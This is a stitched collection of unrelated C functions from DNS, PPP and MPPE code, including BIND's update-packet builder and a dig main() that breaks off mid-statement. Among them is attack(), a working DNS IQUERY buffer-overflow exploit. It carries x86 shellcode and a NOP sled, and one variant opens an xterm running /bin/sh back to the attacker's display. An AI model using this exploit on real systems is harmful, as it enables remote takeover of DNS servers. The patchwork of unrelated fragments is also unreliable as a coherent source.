void ircd__putlong(u_int32_t l, u_char *msgp) { PUTLONG(l, msgp); }
int attack(int fd, struct in_addr us, struct target_type t, unsigned long offset, int optimized) { char buff[sizeof(HEADER)+PRE_OF_DATALEN+RET_FROM_1NOP+4], *ptr=buff; HEADER *dnsh=(HEADER *)buff; unsigned long i; int dlen, len=0, al=ALEN_VAL, dl=DLEN_VAL; memset(dnsh,0,sizeof(HEADER)); dnsh->id = htons(31337); dnsh->opcode = IQUERY; dnsh->rd = 1; dnsh->ra = 1; dnsh->ancount = htons(1); ptr += sizeof(HEADER); len += sizeof(HEADER); *ptr = '\0'; ptr++; PUTSHORT(T_A,ptr); PUTSHORT(C_IN,ptr); PUTLONG(31337,ptr); dlen = (optimized?OPT_RET_FROM_1NOP:RET_FROM_1NOP)+4; PUTSHORT(dlen,ptr); len += PRE_OF_DATALEN; memset(ptr,'X',(sizeof(buff)-(ptr-buff))); if(t.systype==0) { #ifdef REMOTE char c1[] = "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74" "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f" "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd" "\x80\xe8\xcc\xff\xff\xff"; char c2[] = "/usr/bin/X11/xterm\xff-display\xff"; char c3[32]; char c4[] = "\xfe\xe8\xb1\xff\xff\xff"; snprintf(c3,sizeof(c3),"%s:0\xff-e\xff/bin/sh\xff",inet_ntoa(us)); c1[4] = (unsigned char)0x32+strlen(c2)+strlen(c3); c4[2] = (unsigned char)0xc9-strlen(c2)-strlen(c3); i = EVILSPACE-strlen(c1)-strlen(c2)-strlen(c3)-strlen(c4); memset(ptr,0x90,i); memcpy((ptr+i),c1,strlen(c1)); memcpy((ptr+i+strlen(c1)),c2,strlen(c2)); memcpy((ptr+i+strlen(c1)+strlen(c2)),c3,strlen(c3)); memcpy((ptr+i+strlen(c1)+strlen(c2)+strlen(c3)),c4,strlen(c4)); #else char c0de[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hi"; int i = EVILSPACE-strlen(c0de); memset(ptr,0x90,i); memcpy((ptr+i),c0de,strlen(c0de)); #endif } else return(0); if(!optimized) { memcpy((ptr+(dlen-16)),&al,sizeof(al)); memcpy((ptr+(dlen-12)),&dl,sizeof(dl)); } i = (optimized?t.opt_addr:t.addr)+offset; memcpy((ptr+(dlen-4)),&i,sizeof(i)); len += dlen; return(send_packet(fd,buff,len)); }
static u_char * write_record(unsigned char * ptr, PDNS_RECORD rr, unsigned char * EndPtr, unsigned char ** dnptrs, unsigned char ** lastdnptr, int debug) { u_char * rd_length_ptr; PUTDOMAIN(rr->pName, ptr); if (ptr + 4 > EndPtr) ptr += 4; else { PUTSHORT(rr->wType, ptr); PUTSHORT(ns_c_in, ptr); } if ((rr->Flags.DW & 0x3) == DnsSectionQuestion) return ptr; if (ptr + 4 > EndPtr) ptr += 4; else { PUTLONG(rr->dwTtl, ptr); } rd_length_ptr = ptr; ptr += 2; /* Placeholder for RDLENGTH */ /* The default case uses an undocumented feature of the Windows resolver for types greater than 16. The DNS_RECORD Data contains the record in wire format. */ switch(rr->wType) { case DNS_TYPE_A: { u_char * aptr = (u_char *) & rr->Data.A.IpAddress; if (ptr + 4 <= EndPtr) { ptr[0] = aptr[0]; ptr[1] = aptr[1]; ptr[2] = aptr[2]; ptr[3] = aptr[3]; } ptr += 4; break; } case DNS_TYPE_NS: case DNS_TYPE_MD: case DNS_TYPE_MF: case DNS_TYPE_CNAME: case DNS_TYPE_MB: case DNS_TYPE_MG: case DNS_TYPE_MR: case DNS_TYPE_PTR: PUTDOMAIN(rr->Data.PTR.pNameHost, ptr); break; case DNS_TYPE_SOA: PUTDOMAIN(rr->Data.SOA.pNamePrimaryServer, ptr); PUTDOMAIN(rr->Data.SOA.pNameAdministrator, ptr); if (ptr + 20 > EndPtr) ptr += 20; else { PUTLONG(rr->Data.SOA.dwSerialNo, ptr); PUTLONG(rr->Data.SOA.dwRefresh, ptr); PUTLONG(rr->Data.SOA.dwRetry, ptr); PUTLONG(rr->Data.SOA.dwExpire, ptr); PUTLONG(rr->Data.SOA.dwDefaultTtl, ptr); } break; case DNS_TYPE_NULL: if (ptr + rr->Data.Null.dwByteCount <= EndPtr) memcpy(ptr, rr->Data.Null.Data, rr->Data.Null.dwByteCount); ptr += rr->Data.Null.dwByteCount; if (rr->Data.Null.dwByteCount == rr->wDataLength - sizeof(DNS_NULL_DATA) + 1) DPRINTF(debug, "Null byte count has an unexpected value\n"); break; case DNS_TYPE_WKS: if (ptr + rr->wDataLength - sizeof(DNS_WKS_DATA) + 1 + 5 > EndPtr) ptr += rr->wDataLength - sizeof(DNS_WKS_DATA) + 1 + 5; else { PUTLONG(rr->Data.WKS.IpAddress, ptr); *ptr++ = rr->Data.WKS.chProtocol; memcpy(ptr, rr->Data.WKS.BitMask, rr->wDataLength - sizeof(DNS_WKS_DATA) + 1); ptr += rr->wDataLength - sizeof(DNS_WKS_DATA) + 1; } break; case DNS_TYPE_MINFO: case DNS_TYPE_RP: PUTDOMAIN(rr->Data.MINFO.pNameMailbox, ptr); PUTDOMAIN(rr->Data.MINFO.pNameErrorsMailbox, ptr); break; case DNS_TYPE_MX: case DNS_TYPE_AFSDB: case DNS_TYPE_RT: if (ptr + 2 > EndPtr) ptr += 2; else PUTSHORT(rr->Data.MX.wPreference, ptr); PUTDOMAIN(rr->Data.MX.pNameExchange, ptr); break; case DNS_TYPE_HINFO: case DNS_TYPE_ISDN: case DNS_TYPE_TEXT: case DNS_TYPE_X25: { unsigned int i, len; for (i = 0; i < rr->Data.TXT.dwStringCount; i++) { len = strlen(rr->Data.TXT.pStringArray[i]) & 0xFF; if (ptr + len + 1 > EndPtr) ptr += len + 1; else { *ptr++ = len; memcpy(ptr, rr->Data.TXT.pStringArray[i], len); ptr += len; } } break; } case DNS_TYPE_SRV: if (ptr + 6 > EndPtr) ptr += 6; else { PUTSHORT(rr->Data.SRV.wPriority, ptr); PUTSHORT(rr->Data.SRV.wWeight, ptr); PUTSHORT(rr->Data.SRV.wPort, ptr); } PUTDOMAIN(rr->Data.SRV.pNameTarget, ptr); break; default: { unsigned int len = rr->wDataLength; DPRINTF(debug, "No structure for wType %d\n", rr->wType); if (ptr + len <= EndPtr) memcpy(ptr, (char *) &rr->Data, len); ptr += len; break; } } if (rd_length_ptr + 2 <= EndPtr) PUTSHORT(ptr - rd_length_ptr - 2, rd_length_ptr); return ptr; }
/*% * Form update packets. * Returns the size of the resulting packet if no error * * On error, * returns *\li -1 if error in reading a word/number in rdata * portion for update packets *\li -2 if length of buffer passed is insufficient *\li -3 if zone section is not the first section in * the linked list, or section order has a problem *\li -4 on a number overflow *\li -5 unknown operation or no records */ int res_nmkupdate(res_state statp, ns_updrec *rrecp_in, u_char *buf, int buflen) { ns_updrec *rrecp_start = rrecp_in; HEADER *hp; u_char *cp, *sp2, *startp, *endp; int n, i, soanum, multiline; ns_updrec *rrecp; struct in_addr ina; struct in6_addr in6a; char buf2[MAXDNAME]; u_char buf3[MAXDNAME]; int section, numrrs = 0, counts[ns_s_max]; u_int16_t rtype, rclass; u_int32_t n1, rttl; u_char *dnptrs[20], **dpp, **lastdnptr; int siglen, keylen, certlen; /* * Initialize header fields. */ if ((buf == NULL) || (buflen < HFIXEDSZ)) return (-1); memset(buf, 0, HFIXEDSZ); hp = (HEADER *) buf; hp->id = htons(++statp->id); hp->opcode = ns_o_update; hp->rcode = NOERROR; cp = buf + HFIXEDSZ; buflen -= HFIXEDSZ; dpp = dnptrs; *dpp++ = buf; *dpp++ = NULL; lastdnptr = dnptrs + sizeof dnptrs / sizeof dnptrs[0]; if (rrecp_start == NULL) return (-5); else if (rrecp_start->r_section != S_ZONE) return (-3); memset(counts, 0, sizeof counts); for (rrecp = rrecp_start; rrecp; rrecp = NEXT(rrecp, r_glink)) { numrrs++; section = rrecp->r_section; if (section < 0 || section >= ns_s_max) return (-1); counts[section]++; for (i = section + 1; i < ns_s_max; i++) if (counts[i]) return (-3); rtype = rrecp->r_type; rclass = rrecp->r_class; rttl = rrecp->r_ttl; /* overload class and type */ if (section == S_PREREQ) { rttl = 0; switch (rrecp->r_opcode) { case YXDOMAIN: rclass = C_ANY; rtype = T_ANY; rrecp->r_size = 0; break; case NXDOMAIN: rclass = C_NONE; rtype = T_ANY; rrecp->r_size = 0; break; case NXRRSET: rclass = C_NONE; rrecp->r_size = 0; break; case YXRRSET: if (rrecp->r_size == 0) rclass = C_ANY; break; default: fprintf(stderr, "res_mkupdate: incorrect opcode: %d\n", rrecp->r_opcode); fflush(stderr); return (-1); } } else if (section == S_UPDATE) { switch (rrecp->r_opcode) { case DELETE: rclass = rrecp->r_size == 0 ? C_ANY : C_NONE; break; case ADD: break; default: fprintf(stderr, "res_mkupdate: incorrect opcode: %d\n", rrecp->r_opcode); fflush(stderr); return (-1); } } /* * XXX appending default domain to owner name is omitted, * fqdn must be provided */ if ((n = dn_comp(rrecp->r_dname, cp, buflen, dnptrs, lastdnptr)) < 0) return (-1); cp += n; ShrinkBuffer(n + 2*INT16SZ); PUTSHORT(rtype, cp); PUTSHORT(rclass, cp); if (section == S_ZONE) { if (numrrs != 1 || rrecp->r_type != T_SOA) return (-3); continue; } ShrinkBuffer(INT32SZ + INT16SZ); PUTLONG(rttl, cp); sp2 = cp; /*%< save pointer to length byte */ cp += INT16SZ; if (rrecp->r_size == 0) { if (section == S_UPDATE && rclass != C_ANY) return (-1); else { PUTSHORT(0, sp2); continue; } } startp = rrecp->r_data; endp = startp + rrecp->r_size - 1; /* XXX this should be done centrally. */ switch (rrecp->r_type) { case T_A: if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); if (!inet_aton(buf2, &ina)) return (-1); n1 = ntohl(ina.s_addr); ShrinkBuffer(INT32SZ); PUTLONG(n1, cp); break; case T_CNAME: case T_MB: case T_MG: case T_MR: case T_NS: case T_PTR: case ns_t_dname: if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; case T_MINFO: case T_SOA: case T_RP: for (i = 0; i < 2; i++) { if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); } if (rrecp->r_type == T_SOA) { ShrinkBuffer(5 * INT32SZ); while (isspace(*startp) || !*startp) startp++; if (*startp == '(') { multiline = 1; startp++; } else multiline = 0; /* serial, refresh, retry, expire, minimum */ for (i = 0; i < 5; i++) { soanum = getnum_str(&startp, endp); if (soanum < 0) return (-1); PUTLONG(soanum, cp); } if (multiline) { while (isspace(*startp) || !*startp) startp++; if (*startp != ')') return (-1); } } break; case T_MX: case T_AFSDB: case T_RT: n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; case T_SRV: n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, NULL, NULL); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; case T_PX: n = getnum_str(&startp, endp); if (n < 0) return (-1); PUTSHORT(n, cp); ShrinkBuffer(INT16SZ); for (i = 0; i < 2; i++) { if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); } break; case T_WKS: { char bm[MAXPORT/8]; unsigned int maxbm = 0; if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); if (!inet_aton(buf2, &ina)) return (-1); n1 = ntohl(ina.s_addr); ShrinkBuffer(INT32SZ); PUTLONG(n1, cp); if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); if ((i = res_protocolnumber(buf2)) < 0) return (-1); ShrinkBuffer(1); *cp++ = i & 0xff; for (i = 0; i < MAXPORT/8 ; i++) bm[i] = 0; while (getword_str(buf2, sizeof buf2, &startp, endp)) { if ((n = res_servicenumber(buf2)) <= 0) return (-1); if (n < MAXPORT) { bm[n/8] |= (0x80>>(n%8)); if ((unsigned)n > maxbm) maxbm = n; } else return (-1); } maxbm = maxbm/8 + 1; ShrinkBuffer(maxbm); memcpy(cp, bm, maxbm); cp += maxbm; break; } case T_HINFO: for (i = 0; i < 2; i++) { if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; } break; case T_TXT: for (;;) { if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) { if (cp != (sp2 + INT16SZ)) break; return (-1); } if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; } break; case T_X25: /* RFC1183 */ if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; break; case T_ISDN: /* RFC1183 */ if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); if ((n > 255) || (n == 0)) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) n = 0; if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; break; case T_NSAP: if ((n = inet_nsap_addr((char *)startp, (u_char *)buf2, sizeof(buf2))) != 0) { ShrinkBuffer(n); memcpy(cp, buf2, n); cp += n; } else { return (-1); } break; case T_LOC: if ((n = loc_aton((char *)startp, (u_char *)buf2)) != 0) { ShrinkBuffer(n); memcpy(cp, buf2, n); cp += n; } else return (-1); break; case ns_t_sig: { int sig_type, success, dateerror; u_int32_t exptime, timesigned; /* type */ if ((n = getword_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); sig_type = sym_ston(__p_type_syms, buf2, &success); if (!success || sig_type == ns_t_any) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(sig_type, cp); /* alg */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(1); *cp++ = n; /* labels */ n = getnum_str(&startp, endp); if (n <= 0 || n > 255) return (-1); ShrinkBuffer(1); *cp++ = n; /* ottl & expire */ if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); exptime = ns_datetosecs(buf2, &dateerror); if (!dateerror) { ShrinkBuffer(INT32SZ); PUTLONG(rttl, cp); } else { char *ulendp; u_int32_t ottl; errno = 0; ottl = strtoul(buf2, &ulendp, 10); if (errno != 0 || (ulendp != NULL && *ulendp != '\0')) return (-1); ShrinkBuffer(INT32SZ); PUTLONG(ottl, cp); if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); exptime = ns_datetosecs(buf2, &dateerror); if (dateerror) return (-1); } /* expire */ ShrinkBuffer(INT32SZ); PUTLONG(exptime, cp); /* timesigned */ if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); timesigned = ns_datetosecs(buf2, &dateerror); if (!dateerror) { ShrinkBuffer(INT32SZ); PUTLONG(timesigned, cp); } else return (-1); /* footprint */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* signer name */ if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); /* sig */ if ((n = getword_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); siglen = b64_pton(buf2, buf3, sizeof(buf3)); if (siglen < 0) return (-1); ShrinkBuffer(siglen); memcpy(cp, buf3, siglen); cp += siglen; break; } case ns_t_key: /* flags */ n = gethexnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* proto */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(1); *cp++ = n; /* alg */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(1); *cp++ = n; /* key */ if ((n = getword_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); keylen = b64_pton(buf2, buf3, sizeof(buf3)); if (keylen < 0) return (-1); ShrinkBuffer(keylen); memcpy(cp, buf3, keylen); cp += keylen; break; case ns_t_nxt: { int success, nxt_type; u_char data[32]; int maxtype; /* next name */ if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, NULL, NULL); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); maxtype = 0; memset(data, 0, sizeof data); for (;;) { if (!getword_str(buf2, sizeof buf2, &startp, endp)) break; nxt_type = sym_ston(__p_type_syms, buf2, &success); if (!success || !ns_t_rr_p(nxt_type)) return (-1); NS_NXT_BIT_SET(nxt_type, data); if (nxt_type > maxtype) maxtype = nxt_type; } n = maxtype/NS_NXT_BITS+1; ShrinkBuffer(n); memcpy(cp, data, n); cp += n; break; } case ns_t_cert: /* type */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* key tag */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* alg */ n = getnum_str(&startp, endp); if (n < 0) return (-1); ShrinkBuffer(1); *cp++ = n; /* cert */ if ((n = getword_str(buf2, sizeof buf2, &startp, endp)) < 0) return (-1); certlen = b64_pton(buf2, buf3, sizeof(buf3)); if (certlen < 0) return (-1); ShrinkBuffer(certlen); memcpy(cp, buf3, certlen); cp += certlen; break; case ns_t_aaaa: if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); if (inet_pton(AF_INET6, buf2, &in6a) <= 0) return (-1); ShrinkBuffer(NS_IN6ADDRSZ); memcpy(cp, &in6a, NS_IN6ADDRSZ); cp += NS_IN6ADDRSZ; break; case ns_t_naptr: /* Order Preference Flags Service Replacement Regexp */ /* Order */ n = getnum_str(&startp, endp); if (n < 0 || n > 65535) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* Preference */ n = getnum_str(&startp, endp); if (n < 0 || n > 65535) return (-1); ShrinkBuffer(INT16SZ); PUTSHORT(n, cp); /* Flags */ if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) { return (-1); } if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; /* Service Classes */ if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) { return (-1); } if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; /* Pattern */ if ((n = getstr_str(buf2, sizeof buf2, &startp, endp)) < 0) { return (-1); } if (n > 255) return (-1); ShrinkBuffer(n+1); *cp++ = n; memcpy(cp, buf2, n); cp += n; /* Replacement */ if (!getword_str(buf2, sizeof buf2, &startp, endp)) return (-1); n = dn_comp(buf2, cp, buflen, NULL, NULL); if (n < 0) return (-1); cp += n; ShrinkBuffer(n); break; default: return (-1); } /*switch*/
//****************************************************************************** // BuildIpConfigOptions //****************************************************************************** void BuildIpConfigOptions(PCHProtConfig_t *ip_cnfg, IPConfigAuthType_t authType, CHAP_ChallengeOptions_t *cc, CHAP_ResponseOptions_t *cr, PAP_CnfgOptions_t *po) { int len, i, tlen; u_char *outp, *lenp, *len_pid; u_long dnsaddr_pri; u_long dnsaddr_sec; u_short IPCP_prot = PPP_IPCP; u_short UPAP_prot = PPP_UPAP; u_short CHAP_prot = PPP_CHAP; u_long ipaddr = 0; u_long l; len = 0; //start at the top dnsaddr_pri = 0; dnsaddr_sec = 0; ip_cnfg->options[len++] = 0x80; /* octet2, Protocol Config Option, PPP for use with */ /** build Protocol Identifier, CHAP authentication (RFC 1994)*/ if(authType == REQUIRE_CHAP) { /* Send CHAP challenge packet here */ if ( cc->flag ) /* Request the network for CHAP authentication? */ { outp = (u_char *)&ip_cnfg->options[len]; PUTSHORT(CHAP_prot, outp); /* CHAP protocol */ len += 2; ip_cnfg->options[len++] = cc->len; /* Protocol ID length */ IPCPDEBUG(("Build Option: chap cc len=%d total=%d\n",cc->len,len)); for (i = 0; i < cc->len; i++) /* octet27, send PAP data */ ip_cnfg->options[len++] = cc->content[i]; /* octetm */ cc->flag = 0; /* Clear Request flag. We only do this once per request */ } /* Send CHAP response packet here */ if ( cr->flag ) /* Request the network for PAP authentication? */ { outp = (u_char *)&ip_cnfg->options[len]; PUTSHORT(CHAP_prot, outp); /* CHAP protocol */ len += 2; ip_cnfg->options[len++] = cr->len; /* Protocol ID length */ IPCPDEBUG(("Build Option: chap resp len=%d total=%d\n",cr->len,len)); for (i = 0; i < cr->len; i++) /* send PAP data */ ip_cnfg->options[len++] = cr->content[i]; cr->flag = 0; /* Clear Request flag. We only do this once per request */ } }/** done CHAP */ /** build Protocol Identifier, PAP authentication (RFC 1334)*/ if(authType == REQUIRE_PAP) { if ( po->flag ) /* Request the network for PAP authentication? */ { outp = (u_char *)&ip_cnfg->options[len]; PUTSHORT(UPAP_prot, outp); /* UPAP protocol */ len += 2; ip_cnfg->options[len++] = po->len; /* Protocol ID length */ IPCPDEBUG(("Build Option: pap len=%d total=%d\n",po->len,len)); for (i = 0; i < po->len; i++) /* send PAP data */ ip_cnfg->options[len++] = po->content[i]; po->flag = 0; /* Clear Request flag. We only do this once per request */ } /** done PAP */ } /** build Protocol Identifier, IPCP */ outp = (u_char *)&ip_cnfg->options[len++]; PUTSHORT(IPCP_prot, outp); /* IPCP protocol */ len += 1; len_pid = (u_char *)&ip_cnfg->options[len++]; /* Protocol ID length */ tlen = len; /* build code, id, length */ ip_cnfg->options[len++] = 1; /* configure-req */ ip_cnfg->options[len++] = 1; /* id */ lenp = (u_char *)&ip_cnfg->options[len++]; len++; /** build IPCP options 129 (RFC 1877)**/ IPCPDEBUG(("Build Option: PDNS")); ip_cnfg->options[len++] = CI_DNSADDR_PRI; ip_cnfg->options[len++] = 6; outp = (u_char *)&ip_cnfg->options[len]; l = ntohl(dnsaddr_pri); PUTLONG(l, outp); /* allow network to NAK and give us primary DNS server addr */ len += 4; /** build IPCP options 130 (RFC 1877)**/ IPCPDEBUG(("Build Option: SDNS")); ip_cnfg->options[len++] = CI_DNSADDR_SEC; ip_cnfg->options[len++] = 6; outp = (u_char *)&ip_cnfg->options[len]; l = ntohl(dnsaddr_sec); PUTLONG(ipaddr, outp); /* allow network to NAK and give us secondary DNS server addr*/ len += 4; tlen = len - tlen; PUTCHAR(tlen, len_pid); /* store Protocol ID length */ PUTSHORT(tlen, lenp); /* store IPCP length */ if (len > 1) ip_cnfg->length = len; /* Protocol Config Option length Config protocol octet */ else ip_cnfg->length = 0; /* If no options, length is zero as per discussion with Iulia */ /* --- DEBUG print --- */ /*---------------------------------------------------------------*/ IPCPDEBUG(("\r\nIP config options: %x", ip_cnfg->length)); for (i = 0; i < len; i++) IPCPDEBUG(("%x ",ip_cnfg->options[i])); /*---------------------------------------------------------------*/ }
/** * receiving packets via MPPE. * len must be 4 at least. */ void mppe_input(mppe *_this, u_char *pktp, int len) { int pktloss, encrypt, flushed, m, n; uint16_t coher_cnt; u_char *pktp0, *opktp, *opktp0; uint16_t proto; int delayed = 0; encrypt = 0; flushed = 0; MPPE_ASSERT(len >= 4); pktp0 = pktp; GETSHORT(coher_cnt, pktp); flushed = (coher_cnt & 0x8000)? 1 : 0; encrypt = (coher_cnt & 0x1000)? 1 : 0; coher_cnt &= COHERENCY_CNT_MASK; pktloss = 0; MPPE_DBG((_this, DEBUG_LEVEL_2, "in coher_cnt=%03x/%03x %s%s", _this->recv.coher_cnt, coher_cnt, (flushed)? "[flushed]" : "", (encrypt)? "[encrypt]" : "")); if (encrypt == 0) { mppe_log(_this, LOG_WARNING, "Received unexpected MPPE packet. (no encrypt)"); return; } /* * In L2TP/IPsec implementation, in case that the ppp frame sequence * is not able to reconstruct and the ppp frame is out of sequence, it * is unable to identify with many packets losing. If it does so, MPPE * key is out of place. * To avoid this problem, when it seems that more than 4096-256 packets * drops, it assumes that the packet doesn't lose but the packet is out * of sequence. */ { int coher_cnt0; coher_cnt0 = coher_cnt; if (coher_cnt < _this->recv.coher_cnt) coher_cnt0 += 0x1000; if (coher_cnt0 - _this->recv.coher_cnt > 0x0f00) { if (!_this->recv.stateless || coher_cnt0 - _this->recv.coher_cnt <= 0x1000 - MPPE_NOLDKEY) { mppe_log(_this, LOG_INFO, "Workaround the out-of-sequence PPP framing problem: " "%d => %d", _this->recv.coher_cnt, coher_cnt); return; } delayed = 1; } } if (_this->recv.stateless != 0) { if (!delayed) { mppe_key_change(_this, &_this->recv); while (_this->recv.coher_cnt != coher_cnt) { _this->recv.coher_cnt++; _this->recv.coher_cnt &= COHERENCY_CNT_MASK; mppe_key_change(_this, &_this->recv); pktloss++; } } mppe_rc4_setoldkey(_this, &_this->recv, coher_cnt); flushed = 1; } else { if (flushed) { if (coher_cnt < _this->recv.coher_cnt) { /* in case of carrying up. */ coher_cnt += 0x1000; } pktloss += coher_cnt - _this->recv.coher_cnt; m = _this->recv.coher_cnt / 256; n = coher_cnt / 256; while (m++ < n) mppe_key_change(_this, &_this->recv); coher_cnt &= COHERENCY_CNT_MASK; _this->recv.coher_cnt = coher_cnt; } else if (_this->recv.coher_cnt != coher_cnt) { _this->recv.resetreq = 1; opktp0 = ppp_packetbuf(_this->ppp, PPP_PROTO_NCP | NCP_CCP); opktp = opktp0; PUTLONG(_this->ppp->ccp.mppe_p_bits, opktp); ppp_output(_this->ppp, PPP_PROTO_NCP | NCP_CCP, RESETREQ, _this->recv.resetreq, opktp0, opktp - opktp0); return; } if ((coher_cnt & 0xff) == 0xff) { mppe_key_change(_this, &_this->recv); flushed = 1; } if (flushed) { mppe_rc4_setkey(_this, &_this->recv); } } if (pktloss > 1000) { /* * In case of many packets losing or out of sequence. * The latter is not able to communicate because the key is * out of place soon. * */ mppe_log(_this, LOG_WARNING, "%d packets loss", pktloss); } mppe_rc4_encrypt(_this, &_this->recv, len - 2, pktp, pktp); if (!delayed) { _this->recv.coher_cnt++; _this->recv.coher_cnt &= COHERENCY_CNT_MASK; } if (pktp[0] & 1) proto = pktp[0]; else proto = pktp[0] << 8 | pktp[1]; /* * According to RFC3078 section 3, * MPPE only accept protocol number 0021-00FA. * If decrypted protocol number is out of range, * it indicates loss of coherency. */ if (!(proto & 1) || proto < 0x21 || proto > 0xfa) { mppe_log(_this, LOG_INFO, "MPPE coherency is lost"); return; /* drop frame */ } _this->ppp->recv_packet(_this->ppp, pktp, len - 2, PPP_IO_FLAGS_MPPE_ENCRYPTED); }
int main(int argc, char **argv) { short port = htons(NAMESERVER_PORT); short lport; /* Wierd stuff for SPARC alignment, hurts nothing else. */ union { HEADER header_; u_char packet_[PACKETSZ]; } packet_; #define header (packet_.header_) #define packet (packet_.packet_) union { HEADER u; u_char b[NS_MAXMSG]; } answer; int n; char doping[90]; char pingstr[50]; char *afile; char *addrc, *addrend, *addrbegin; time_t exectime; struct timeval tv1, tv2, start_time, end_time, query_time; char *srv; int anyflag = 0; int sticky = 0; int tmp; int qtypeSet; ns_type xfr = ns_t_invalid; int bytes_out, bytes_in; char cmd[512]; char domain[MAXDNAME]; char msg[120], **vtmp; char *args[DIG_MAXARGS]; char **ax; int once = 1, dofile = 0; /* batch -vs- interactive control */ char fileq[384]; int fp; int wait=0, delay; int envset=0, envsave=0; struct __res_state res_x, res_t; int r; struct in6_addr in6; ns_tsig_key key; char *keyfile = NULL, *keyname = NULL; const char *pingfmt = NULL; UNUSED(argc); res_ninit(&res); res.pfcode = PRF_DEF; qtypeSet = 0; memset(domain, 0, sizeof domain); gethostname(myhostname, (sizeof myhostname)); #ifdef HAVE_SA_LEN myaddress.sin_len = sizeof(struct sockaddr_in); #endif myaddress.sin_family = AF_INET; myaddress.sin_addr.s_addr = INADDR_ANY; myaddress.sin_port = 0; /*INPORT_ANY*/; #ifdef HAVE_SA_LEN myaddress6.sin6_len = sizeof(struct sockaddr_in6); #endif myaddress6.sin6_family = AF_INET6; myaddress6.sin6_addr = in6addr_any; myaddress6.sin6_port = 0; /*INPORT_ANY*/; res_x = res; /* * If LOCALDEF in environment, should point to file * containing local favourite defaults. Also look for file * DiG.env (i.e. SAVEENV) in local directory. */ if ((((afile = (char *) getenv("LOCALDEF")) != (char *) NULL) && ((fp = open(afile, O_RDONLY)) > 0)) || ((fp = open(SAVEENV, O_RDONLY)) > 0)) { read(fp, (char *)&res_x, (sizeof res_x)); close(fp); res = res_x; } /* * Check for batch-mode DiG; also pre-scan for 'help'. */ vtmp = argv; ax 